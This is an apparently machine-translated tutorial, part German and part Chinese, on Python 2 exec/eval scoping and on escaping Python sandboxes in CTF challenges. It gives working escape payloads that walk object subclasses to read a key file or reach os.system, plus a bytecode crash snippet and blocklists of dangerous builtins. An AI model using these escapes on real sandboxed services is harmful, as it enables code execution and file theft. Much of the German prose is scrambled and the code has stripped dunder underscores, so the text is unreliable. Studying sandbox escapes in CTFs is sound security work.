Analysieren von Python-Sandbox-Escape-Problemen

[TOC]
(Basierend auf Python 2.7)
Bevor Sie das Problem des Python-Sandbox-Escape lösen, müssen Sie einige Syntaxdetails in Python verstehen. Wenn Sie bereits wissen, wie Sie die eval-Funktion verwenden, können Sie den ersten und zweiten Teil überspringen und 3x00 direkt ansehen.

0x00 Ausführung des Ausdrucks

wird verwendet, um den Inhalt eines Ausdrucks auszuführen, was mit exec oder eval erfolgen kann.

0x01 exec

exec_stmt:    "exec" expression ["in" expression ["," expression]]

Wobei ["in" expression ["," expression]] ein optionaler Ausdruck ist.

1, Code/String bearbeiten

exec "x = 1+1"
print x
#result:
#2

exec "x = 'a' + '42'"
print x
#result:
#a42

Sie können auch mehrere Codezeilen ausführen, indem Sie sie einfach in drei Anführungszeichen setzen:

a = 0
exec"""for _ in range(input()):
        a += 1
"""
print a

2, Dateioperation

execDatei

Einerseits können Sie execfile verwenden, dessen Funktion darin besteht, den Inhalt auszuführen dieser Datei

#Desktop/pytest.txt
print 'Gou Li Guo Jia Sheng Si Yi'

#Desktop/pytest.py
execfile(r'C:\Users\Think\Desktop\pytest.txt')

ist: pytest.py

Gou Li Guo Jia Sheng Si Yi

führt den Inhalt in execfile aus pytest.txt und Nicht- lautet . Wenn der Inhalt in ist, wird keine Ausgabe erhalten. pytest.txtNatürlich ist auch das Ausführen einer .py-Datei möglich. Voraussetzung für die Ausführung von TXT-Dateien ist, dass der Inhalt der TXT-Datei ASCII ist. Es ist besser, eine .py-Datei als eine txt-Datei auszuführen. 'Gou Li Guo Jia Sheng Si Yi'
Diese Art der Ausführung

kopiert

tatsächlich direkt den Inhalt der Datei, auf die execfile verweist. Zum Beispiel:

#C:/Users/Think/Desktop/Mo.py
#coding:utf-8
a = 2
print '稻花香里说丰年，听取蛤声一片'

Zu diesem Zeitpunkt lautet das Ergebnis von Pytest:

#C:/Users/Think/Desktop/pytest.py
a = 3
execfile(r'C:\Users\Think\Desktop\Mo.py')
print a

Tatsächlich wird der Inhalt der Datei vollständig ausgeführt ... anstatt es als Funktionsaufruf zur Ausführung zu behandeln.

稻花香里说丰年，听取蛤声一片
2

Verwenden Sie exec direkt zum Betrieb

Verwenden Sie exec direkt, was auch der Inhalt der ausführbaren Datei ist, aber Sie können den

-Ausdruck verwenden, um die globale

-Variable Domäne. in

3, die Verwendung von Tupel

#C:\Users\Think\Desktop\test1.txt
print poetry

#pytest.py
result={'poetry':'苟利国家生死以'}
exec open(r'C:\Users\Think\Desktop\test1.txt') in result

Das Ausgabeergebnis ist

b = 42
tup1 = (123,456,111)
exec "b = tup1[2]"
print b

So verwenden Sie die globalen/lokalen Parameter von exec

111

unterstützt zwei optionale Parameter und unterstützt keine durch Schlüsselwörter angegebenen Parameter.

Python übernimmt die

statische exec-Bereichsregel (lexikalischer Bereich), ähnlich wie C++. Die Variable ist innerhalb der Funktion verfügbar, jedoch nicht außerhalb der Funktion.
In der Pascal-Sprache wird ein dynamischer Bereich verwendet, das heißt, die Variable existiert, sobald die Funktion ausgeführt wird. Beispielsweise ist eine Funktion in der Funktion verschachtelt. Wenn das Programm nach
ausgeführt wird, sucht es nach den Variablen im Ausdruck in g in der äußeren Ebene: vorhanden ist, verwenden Sie diese Variable. Wenn sie nicht vorhanden ist, fahren Sie mit der Suche nach außen fort. fEs ist zu beachten, dass ff eine grammatikalische Aussage und keine Funktion ist und g eine Funktion
ist. Der Grund ist wie folgt: execExterne Variablen direkt in execfile drucken:

exec

Externe Variablen in einer Funktion drucken:

b = 42
tup1 = (123,456,111)
exec "print tup1[1]"
#结果为 456

LEGB-Regel

b = 42
tup1 = (123,456,111)
def pr():
    print tup[1]

pr()

#结果：
#NameError: global name 'tup' is not defined

Der globale Parameter in exec

ist das

exec_stmt:    "exec" expression ["in" expression ["," expression]]

Objekt

, wobei die in globals erforderlichen globalen Variablen angegeben werden. dictexec

entspricht

• globlasglobals()

  entspricht dem Wert des
-Parameters

• localsglobals1,globals

Im Codesegment ist der Wert in

, der aus dem angegebenen

#coding:utf-8
k = {'b':42}
exec ("a = b + 1",k)
print k['a'],k['b']
#结果：
#43 42

stammt, also

.execUnd localsglobals wird aus globalen Variablen entnommen und wirkt auf globale Variablen k. globals
2, Einheimische

Vergleich:

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})
#结果：
#101

Sie können sehen, dass es im Vergleich zu

drei interne Variablen gibt, nämlich Alter, b, a

Nach der Formulierung kommt b von g (global) und a von der benutzerdefinierten lokalen Variablen.

g = {'b':100,'a':2}
exec("""age = b + a
print age
     """,g,{'a':1})

#结果：
#101

Es ist ersichtlich, dass

local aus der lokalen Variablen entnommen wird und auf die lokale Variable exec wirkt.
Um diese Schlussfolgerung zu überprüfen, ändern Sie leicht Folgendes:
Wie Sie sehen können, hat
keinen Einfluss auf das Wörterbuch

(global), wie im ersten Abschnitt oben erwähnt In

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})

print g['a']
#结果：
#101
# print g['a']
#KeyError: 'a'

wurde der Schlüsselwert

in das globale Wörterbuch a eingefügt.gglobalsexec verwendet die Schlussfolgerung ag, um die folgende

Schlussfolgerung

zu ziehen:

Wir unterteilen den Inhalt nach

in drei Teile: p1, p2, p3
exec

Der erste Teil

exec ("""p1""",p2,p3)

, der Inhalt ist: Ausführungsinhalt

1. 第二部分p2，其中的内容来自全局变量，会在上一个变量作用域当中寻找对应的值，并将其传递给表达式，如果不存在p3，p1中的结果会传回全局变量；

2. 第三部分p3，其中的内容是局部的，将用户在其中自设的局部值传递给p1，并且在局部中生效，如果在外部引用此处用到的值将会报错。

exec 反汇编

#use `exec` source code
import dis
def exec_diss():
    exec "x=3"

dis.dis(exec_diss)

# use `exec` disassembly
 4           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           
              8 LOAD_CONST               0 (None)
             11 RETURN_VALUE

#not use `exec` scource code
import dis
def exec_diss():
    x=3

dis.dis(exec_diss)

#not use exec disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE

指令解释在这里：http://www.php.cn/
简要说明下，TOS 是top-of-stack,就是栈顶。
LOAD_CONST是入栈，RETURN_VALUE 是还原esp。
其中两者的不同之处在于:

# use `exec` disassembly
6 DUP_TOP             #复制栈顶指针
7 EXEC_STMT     #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`

也就是说，def函数是将变量入栈，然后调用时就出栈返回；而使用了exec之后，除了正常的入栈流程外，程序还会将栈顶指针复制一遍，然后开始执行exec的内容。

0x02 eval

eval用以动态执行其后的代码，并返回执行后得到的值。

eval(expression[, globals[, locals]])

eval也有两个可选参数，即 globals 、locals
使用如下：

print eval("1+1")
#result:
#2

eval 的 globals / locals 参数的使用方法

1，globals
类似于 exec:

g = {'a':1}
print eval("a+1",g)

#result:
#2

2，locals

k = {'b':42}
print eval ("b+c",k,{'c':2})
#result:
#44

eval反汇编

#use_eval
import dis
def eval_dis():
    eval ("x = 3")

dis.dis(eval_dis)

#use_eval_disassembly
 3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('x = 3')
              6 CALL_FUNCTION            1
              9 POP_TOP             
             10 LOAD_CONST               0 (None)
             13 RETURN_VALUE

比较：

#not_use_eval
import dis
def no_eval_dis():
    x = 3

dis.dis(no_eval_dis)

#not_use_eval_disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE

同样是建栈之后执行。

1x00 exec 和 eval 的区别

exec无返回值：

exec ("print 1+1")
#result:
#2

如果改成

print exec("1+1")

这就会因为没有返回值（不存在该变量而报错）。
而 eval 是有返回值的：

eval ("print 1+1")
#result:
#SyntaxError: invalid syntax

如果想要打印，则必须在 eval之前使用print。
但是奇怪的是，为什么 exec 反汇编出的内容当中，也会有一个RETURN_VALUE 呢？

1x01确定RETURN_VALUE来源

为了确定这个RETURN_VALUE究竟是受到哪一部分的影响，可以改动一下之前的代码，

import dis
def exec_diss():
    exec "x=3"
    return 0

dis.dis(exec_diss)

3           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           

  4           8 LOAD_CONST               2 (0)
             11 RETURN_VALUE

对比eval的：

import dis
def eval_diss():
    eval ("3")
    return 0

dis.dis(eval_diss)

  3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('3')
              6 CALL_FUNCTION            1
              9 POP_TOP             

  4          10 LOAD_CONST               2 (0)
             13 RETURN_VALUE

对比 eval和exec之后，会发现exec使用的是DUP_TOP(),而eval使用的是POP_TOP，前者是复制 TOS，后者是推出TOS。
在 C++ 反汇编当中，会发现对函数调用的最后会有 POP ebp,这是函数执行完之后的特征。在 Python 中，eval就是一种函数，exec是表达式。这也解释了之前说的eval有返回值而exec无返回值的原因。
而最后的 RETURN_VALUE，很明显可以看出并非eval或exec的影响，而是 Python 中每一个程序执行完之后的正常返回（如同 C++ 中的 return 0）。
可以写段不包含这两者的代码来验证：

import dis
def no():
    a = 1+1

dis.dis(no)

  3           0 LOAD_CONST               2 (2)
              3 STORE_FAST               0 (a)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE

所以，RETURN_VALUE是每个程序正常运行时就有的。

2x00 eval 的危险性

2x01 先期知识

在 Python 当中， import可以将一个 Python 内置模块导入，import可以接受字符串作为参数。
调用 os.system()，就可以执行系统命令。在 Windows下，可以这么写：

>>> import('os').system('dir')

或者：

>>> import os
>>> os.system('dir')

也可以达到这个目的。
这两种方法会使得系统执行dir，即文件列出命令，列出文件后，读取其中某个文件的内容，可以:

with open('example.txt') as f:
    s = f.read().replace('\n', '')

print s

如果有一个功能，设计为执行用户所输入的内容，如

print eval("input()")

此时用户输入1+1，那么会得到返回值 2。若前述的

os.system('dir')

则会直接列出用户目录。
但是，从之前学过的可以看到，如果为eval指定一个空的全局变量，那么eval就无法从外部得到 os.system模块，这会导致报错。
然而，可以自己导入这个模块嘛。

import('os').system('dir')

这样就可以继续显示文件了。
如果要避免这一招，可以限定使用指定的内建函数builtins,这将会使得在第一个表达式当中只能采用该模块中的内建函数名称才是合法的，包括：

>>> dir('builtins')
['add', 'class', 'contains', 'delattr', 'doc', 'eq', 'format', 'ge', 'getattribute', 'getitem', 'getnewargs', 'getslice', 'gt', 'hash', 'init', 'le', 'len', 'lt', 'mod', 'mul', 'ne', 'new', 'reduce', 'reduce_ex', 'repr', 'rmod', 'rmul', 'setattr', 'sizeof', 'str', 'subclasshook', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

这样，就可以写成：

eval("input()",{'builtins':{}})

就可以限制其只能使用内置的函数。
同时也可以将内置模块置为None,如：

env = {}
env["locals"]   = None
env["globals"]  = None
eval("input()", env)

但是这种情况下builtions对buitin的引用依然有效。

s = """
(lambda fc=(
    lambda n: [
        c for c in 
            ().class.bases[0].subclasses() 
            if c.name == n
        ][0]
    ):
    fc("function")(
        fc("code")(
            0,0,0,0,"KABOOM",(),(),(),"","",0,""
        ),{}
    )()
)()
"""
eval(s, {'builtins':{}})

(来自：http://www.php.cn/)
为了创建一个<a href="http://www.php.cn/wiki/60.html" target="_blank">object</a>，要通过

().class.bases[0]

bases类当中的第一个 元素就是元组（tuple），而tuple就是一个object.

lambda这一段主要是构造出一个函数，这个函数要跑完 subclasses来寻找一个object。
这是一种情形。总的来说，就是跑一个通过object假的bytecodes.

从上述情况来看，eval是不安全的。

3x00 Python 沙箱逃逸

3x01 第一题

这是一道 CTF 题目,只给了这个：

def make_secure():
    UNSAFE = ['open',
              'file',
              'execfile',
              'compile',
              'reload',
              'import',
              'eval',
              'input']
    for func in UNSAFE:
        del builtins.dict[func]

from re import findall
# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'

while True:
    try:
        # Read user input until the first whitespace character
        inp = findall('\S+', raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
    print 'Exception:', e

make_secure这个模块很好理解，看看下边的：

from re import findall

这是 Python 正则表达式的模块。而re.findall可以寻找指定的字符串。
把这一部分单独抽离出来尝试一下：

from re import findall

inp = findall('\S+',raw_input())[0]
a = None
exec 'a = ' +inp
print 'Return Value:',a

运行后输入 1+1,返回结果为2.
构造
之前已经说过可以利用

().class.bases[0].subclasses()

在该题中，主办方搞了个在服务器上的文件，里边有 key，而[40] 是文件，直接就可以了。

().class.bases[0].subclasses()[40]("./key").read()

第二题

#!/usr/bin/env python 
from future import print_function
 
print("Welcome to my Python sandbox! Enter commands below!")
 
banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
 
targets = builtins.dict.keys()  
targets.remove('raw_input')  
targets.remove('print')  
for x in targets:  
    del builtins.dict[x]
 
while 1:  
    print(">>>", end=' ')
    data = raw_input()
 
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

[x for x in [].class.base.subclasses() if x.name == 'catch_warnings'][0].init.func_globals['linecache'].dict['o'+'s'].dict['sy'+'stem']('echo Hello SandBox')

4x00 blue-lotus MISC - pyjail Writeup

给了这个：

#!/usr/bin/env python
# coding: utf-8

def del_unsafe():
    UNSAFE_BUILTINS = ['open',
    'file',
    'execfile',
    'compile',
    'reload',
    'import',
    'eval',
    'input'] ## block objet?
    for func in UNSAFE_BUILTINS:
        del builtins.dict[func]

from re import findall
del_unsafe()

print 'Give me your command!'
while True:
    try:
        inp = findall('\S+', raw_input())[0]
        print "inp=", inp
        a = None
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
        print 'Exception:', e

比较一下和上边的第一题有什么不同，答案是……并没有什么不同……

Das obige ist der detaillierte Inhalt vonAnalysieren von Python-Sandbox-Escape-Problemen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!